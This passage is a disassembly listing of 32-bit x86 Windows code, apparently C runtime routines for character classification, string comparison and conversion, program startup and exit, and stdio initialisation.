		jle	short loc_41E2A3
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E2BA
; ---------------------------------------------------------------------------


loc_41E2A3:				; CODE XREF: .nsp0:0041E28Bj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_41E2BA:				; CODE XREF: .nsp0:0041E2A1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E2F3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E30A
; ---------------------------------------------------------------------------


loc_41E2F3:				; CODE XREF: .nsp0:0041E2DBj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax


loc_41E30A:				; CODE XREF: .nsp0:0041E2F1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E343
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E35A
; ---------------------------------------------------------------------------


loc_41E343:				; CODE XREF: .nsp0:0041E32Bj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax


loc_41E35A:				; CODE XREF: .nsp0:0041E341j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E390
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E3A5
; ---------------------------------------------------------------------------


loc_41E390:				; CODE XREF: .nsp0:0041E37Bj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax


loc_41E3A5:				; CODE XREF: .nsp0:0041E38Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4516A8, 1
		jle	short loc_41E3F5
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E40C
; ---------------------------------------------------------------------------


loc_41E3F5:				; CODE XREF: .nsp0:0041E3DDj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_41E40C:				; CODE XREF: .nsp0:0041E3F3j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_41E421
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_41E421
		mov	dword ptr [ebp-8], 0
		jmp	short loc_41E428
; ---------------------------------------------------------------------------


loc_41E421:				; CODE XREF: .nsp0:0041E410j
					; .nsp0:0041E416j
		mov	dword ptr [ebp-8], 1


loc_41E428:				; CODE XREF: .nsp0:0041E41Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4516A8, 1
		jle	short loc_41E455
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E46C
; ---------------------------------------------------------------------------


loc_41E455:				; CODE XREF: .nsp0:0041E43Dj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_41E46C:				; CODE XREF: .nsp0:0041E453j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_41E481
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_41E481
		mov	dword ptr [ebp-8], 0
		jmp	short loc_41E488
; ---------------------------------------------------------------------------


loc_41E481:				; CODE XREF: .nsp0:0041E470j
					; .nsp0:0041E476j
		mov	dword ptr [ebp-8], 1


loc_41E488:				; CODE XREF: .nsp0:0041E47Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_415AC8+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41E4DC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41E4DD
		test	eax, 1
		jz	short loc_41E4BD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41E50A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41E4DA


loc_41E4BD:				; CODE XREF: sub_41E490+20j
					; sub_41E490+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41E50A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41E50A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41E4BD


loc_41E4DA:				; CODE XREF: sub_41E490+2Bj
					; sub_41E490+84j
		pop	edi
		pop	esi

locret_41E4DC:				; CODE XREF: sub_41E490+6j
		retn
; ---------------------------------------------------------------------------


loc_41E4DD:				; CODE XREF: sub_41E490+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41E512
		repe cmpsd
		jz	short loc_41E512
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41E505
		cmp	ch, dh
		jnz	short loc_41E505
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41E505
		cmp	ch, dh


loc_41E505:				; CODE XREF: sub_41E490+63j
					; sub_41E490+67j ...
		mov	eax, 0


loc_41E50A:				; CODE XREF: sub_41E490+26j
					; sub_41E490+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E512:				; CODE XREF: sub_41E490+55j
					; sub_41E490+59j
		test	eax, eax
		jz	short loc_41E4DA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41E505
		dec	eax
		jz	short loc_41E539
		cmp	dh, ch
		jnz	short loc_41E505
		dec	eax
		jz	short loc_41E539
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41E505
		dec	eax


loc_41E539:				; CODE XREF: sub_41E490+8Fj
					; sub_41E490+96j
		pop	edi
		pop	esi
		retn
sub_41E490	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E550	proc near		; CODE XREF: sub_415DE8+6p
					; sub_415E06+4Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EF974, 0
		jnz	short loc_41E577
		cmp	[ebp+arg_0], 41h
		jl	short loc_41E572
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41E572
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41E572:				; CODE XREF: sub_41E550+11j
					; sub_41E550+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_41E5DF
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E550+Bj
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_41E5A9
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41E5B0
; ---------------------------------------------------------------------------


loc_41E5A9:				; CODE XREF: sub_41E550+39j
		mov	[ebp+var_4], 0


loc_41E5B0:				; CODE XREF: sub_41E550+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E5F0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41E5D1
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_41E5DC
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: sub_41E550+73j
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_41E5DC:				; CODE XREF: sub_41E550+7Fj
		mov	eax, [ebp+arg_0]


loc_41E5DF:				; CODE XREF: sub_41E550+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5F0	proc near		; CODE XREF: sub_41DBF0+94p
					; sub_41DBF0+9Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4EF974, 0
		jnz	short loc_41E61C
		cmp	[ebp+arg_0], 41h
		jl	short loc_41E614
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41E614
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41E614:				; CODE XREF: sub_41E5F0+13j
					; sub_41E5F0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_41E717
; ---------------------------------------------------------------------------


loc_41E61C:				; CODE XREF: sub_41E5F0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_41E663
		cmp	dword_4516A8, 1
		jle	short loc_41E641
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41E655
; ---------------------------------------------------------------------------


loc_41E641:				; CODE XREF: sub_41E5F0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx


loc_41E655:				; CODE XREF: sub_41E5F0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_41E663
		mov	eax, [ebp+arg_0]
		jmp	loc_41E717
; ---------------------------------------------------------------------------


loc_41E663:				; CODE XREF: sub_41E5F0+33j
					; sub_41E5F0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41E6AC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_41E6BD
; ---------------------------------------------------------------------------


loc_41E6AC:				; CODE XREF: sub_41E5F0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_41E6BD:				; CODE XREF: sub_41E5F0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, dword_4EF974
		push	edx
		call	sub_429750
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E6F1
		mov	eax, [ebp+arg_0]
		jmp	short loc_41E717
; ---------------------------------------------------------------------------


loc_41E6F1:				; CODE XREF: sub_41E5F0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_41E701
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_41E717
; ---------------------------------------------------------------------------


loc_41E701:				; CODE XREF: sub_41E5F0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_41E717:				; CODE XREF: sub_41E5F0+27j
					; sub_41E5F0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41E5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E720	proc near		; CODE XREF: sub_4164D5+ADp
					; sub_4174B4+55p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41E72A:				; CODE XREF: sub_41E720+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_41E741
		jmp	short loc_41E72A
; ---------------------------------------------------------------------------


loc_41E741:				; CODE XREF: sub_41E720+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_41E720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E750	proc near		; CODE XREF: sub_4164D5+7Fp
					; sub_4164D5+90p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_41E788
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41E78F
; ---------------------------------------------------------------------------


loc_41E788:				; CODE XREF: sub_41E750+18j
		mov	[ebp+var_4], 0


loc_41E78F:				; CODE XREF: sub_41E750+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41E7D0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41E7B8
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_41E7C3
; ---------------------------------------------------------------------------


loc_41E7B8:				; CODE XREF: sub_41E750+5Aj
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_41E7C3:				; CODE XREF: sub_41E750+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7D0	proc near		; CODE XREF: sub_41E750+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_41E7F3
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E7F3
		xor	eax, eax
		jmp	loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E7F3:				; CODE XREF: sub_41E7D0+14j
					; sub_41E7D0+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E817
		push	offset dword_437D2C
		push	0
		push	55h
		push	offset dword_437D20
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E817
		int	3		; Trap to Debugger


loc_41E817:				; CODE XREF: sub_41E7D0+27j
					; sub_41E7D0+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E7F3
		cmp	[ebp+arg_0], 0
		jz	loc_41E966
		cmp	dword_4EF974, 0
		jnz	short loc_41E879


loc_41E830:				; CODE XREF: sub_41E7D0+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41E871
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41E85D
		mov	eax, [ebp+var_4]
		jmp	loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E85D:				; CODE XREF: sub_41E7D0+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_41E830
; ---------------------------------------------------------------------------


loc_41E871:				; CODE XREF: sub_41E7D0+66j
		mov	eax, [ebp+var_4]
		jmp	loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E879:				; CODE XREF: sub_41E7D0+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4EF984
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41E8A9
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E8A9:				; CODE XREF: sub_41E7D0+CCj
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41E8C7
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E8C7:				; CODE XREF: sub_41E7D0+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_41E8DE
; ---------------------------------------------------------------------------


loc_41E8D5:				; CODE XREF: sub_41E7D0:loc_41E91Fj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_41E8DE:				; CODE XREF: sub_41E7D0+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_41E921
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41E921
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_41E91F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_41E91F:				; CODE XREF: sub_41E7D0+144j
		jmp	short loc_41E8D5
; ---------------------------------------------------------------------------


loc_41E921:				; CODE XREF: sub_41E7D0+11Cj
					; sub_41E7D0+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, dword_4EF984
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E961
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E961:				; CODE XREF: sub_41E7D0+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E966:				; CODE XREF: sub_41E7D0+51j
		cmp	dword_4EF974, 0
		jnz	short loc_41E97D
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_418D00
		add	esp, 4
		jmp	short loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E97D:				; CODE XREF: sub_41E7D0+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4EF984
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E9AE
		call	sub_4248A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E9B4
; ---------------------------------------------------------------------------


loc_41E9AE:				; CODE XREF: sub_41E7D0+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1


loc_41E9B4:				; CODE XREF: sub_41E7D0+1Ej
					; sub_41E7D0+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E7D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437D38
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFA4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_4F1460	; GetVersion
		mov	dword_4EF87C, eax
		mov	eax, dword_4EF87C
		shr	eax, 8
		and	eax, 0FFh
		mov	dword_4EF888, eax
		mov	ecx, dword_4EF87C
		and	ecx, 0FFh
		mov	dword_4EF884, ecx
		mov	edx, dword_4EF884
		shl	edx, 8
		add	edx, dword_4EF888
		mov	dword_4EF880, edx
		mov	eax, dword_4EF87C
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	dword_4EF87C, eax
		push	1
		call	sub_4200C0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41EA54
		push	1Ch
		call	sub_41EB60
		add	esp, 4


loc_41EA54:				; CODE XREF: .nsp0:0041EA48j
		call	sub_423C10
		test	eax, eax
		jnz	short loc_41EA67
		push	10h
		call	sub_41EB60
		add	esp, 4


loc_41EA67:				; CODE XREF: .nsp0:0041EA5Bj
		mov	dword ptr [ebp-4], 0
		call	sub_42A610
		call	dword_4F145C	; GetCommandLineA
		mov	dword_4F0FA4, eax
		call	sub_42A3F0
		mov	dword_4EF8E0, eax
		call	sub_429EE0
		call	sub_429D90
		call	sub_41B540
		mov	dword ptr [ebp-30h], 0
		lea	ecx, [ebp-5Ch]
		push	ecx
		call	dword_4F1458	; GetStartupInfoA
		call	sub_429CD0
		mov	[ebp-64h], eax
		mov	edx, [ebp-30h]
		and	edx, 1
		test	edx, edx
		jz	short loc_41EAC7
		mov	eax, [ebp-2Ch]
		and	eax, 0FFFFh
		mov	[ebp-6Ch], eax
		jmp	short loc_41EACE
; ---------------------------------------------------------------------------


loc_41EAC7:				; CODE XREF: .nsp0:0041EAB8j
		mov	dword ptr [ebp-6Ch], 0Ah


loc_41EACE:				; CODE XREF: .nsp0:0041EAC5j
		mov	ecx, [ebp-6Ch]
		push	ecx
		mov	edx, [ebp-64h]
		push	edx
		push	0
		push	0
		call	dword_4F1358	; GetModuleHandleA
		push	eax
		call	sub_40141B
		mov	[ebp-60h], eax
		mov	eax, [ebp-60h]
		push	eax
		call	sub_41B580
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, [ebp-68h]
		push	edx
		call	sub_429AB0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax
		call	sub_41B5A0
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB30	proc near		; CODE XREF: sub_41DA10+2Cp
					; sub_41EB90+8Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4EF8E8, 1
		jnz	short loc_41EB41
		call	sub_42AAC0


loc_41EB41:				; CODE XREF: sub_41EB30+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42AB10
		add	esp, 4
		push	0FFh
		call	off_451120
		add	esp, 4
		pop	ebp
		retn
sub_41EB30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB60	proc near		; CODE XREF: .nsp0:0041EA4Cp
					; .nsp0:0041EA5Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4EF8E8, 1
		jnz	short loc_41EB71
		call	sub_42AAC0


loc_41EB71:				; CODE XREF: sub_41EB60+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42AB10
		add	esp, 4
		push	0FFh
		call	dword_4F1320	; ExitProcess
		pop	ebp
		retn
sub_41EB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB90	proc near		; DATA XREF: .nsp0:0043A024o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F0FA0, 0
		jnz	short loc_41EBA9
		mov	dword_4F0FA0, 200h
		jmp	short loc_41EBBC
; ---------------------------------------------------------------------------


loc_41EBA9:				; CODE XREF: sub_41EB90+Bj
		cmp	dword_4F0FA0, 14h
		jge	short loc_41EBBC
		mov	dword_4F0FA0, 14h


loc_41EBBC:				; CODE XREF: sub_41EB90+17j
					; sub_41EB90+20j
		push	83h
		push	offset dword_437D44
		push	2
		push	4
		mov	eax, dword_4F0FA0
		push	eax
		call	sub_419300
		add	esp, 14h
		mov	dword_4EFF88, eax
		cmp	dword_4EFF88, 0
		jnz	short loc_41EC25
		mov	dword_4F0FA0, 14h
		push	86h
		push	offset dword_437D44
		push	2
		push	4
		mov	ecx, dword_4F0FA0
		push	ecx
		call	sub_419300
		add	esp, 14h
		mov	dword_4EFF88, eax
		cmp	dword_4EFF88, 0
		jnz	short loc_41EC25
		push	1Ah
		call	sub_41EB30
		add	esp, 4


loc_41EC25:				; CODE XREF: sub_41EB90+54j
					; sub_41EB90+89j
		mov	[ebp+var_4], 0
		jmp	short loc_41EC37
; ---------------------------------------------------------------------------


loc_41EC2E:				; CODE XREF: sub_41EB90+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41EC37:				; CODE XREF: sub_41EB90+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_41EC56
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_451128
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	[edx+ecx*4], eax
		jmp	short loc_41EC2E
; ---------------------------------------------------------------------------


loc_41EC56:				; CODE XREF: sub_41EB90+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_41EC68
; ---------------------------------------------------------------------------


loc_41EC5F:				; CODE XREF: sub_41EB90:loc_41ECB6j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41EC68:				; CODE XREF: sub_41EB90+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_41ECB8
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_41ECA6
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_41ECB6


loc_41ECA6:				; CODE XREF: sub_41EB90+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	dword_451138[ecx], 0FFFFFFFFh


loc_41ECB6:				; CODE XREF: sub_41EB90+114j
		jmp	short loc_41EC5F
; ---------------------------------------------------------------------------


loc_41ECB8:				; CODE XREF: sub_41EB90+DCj
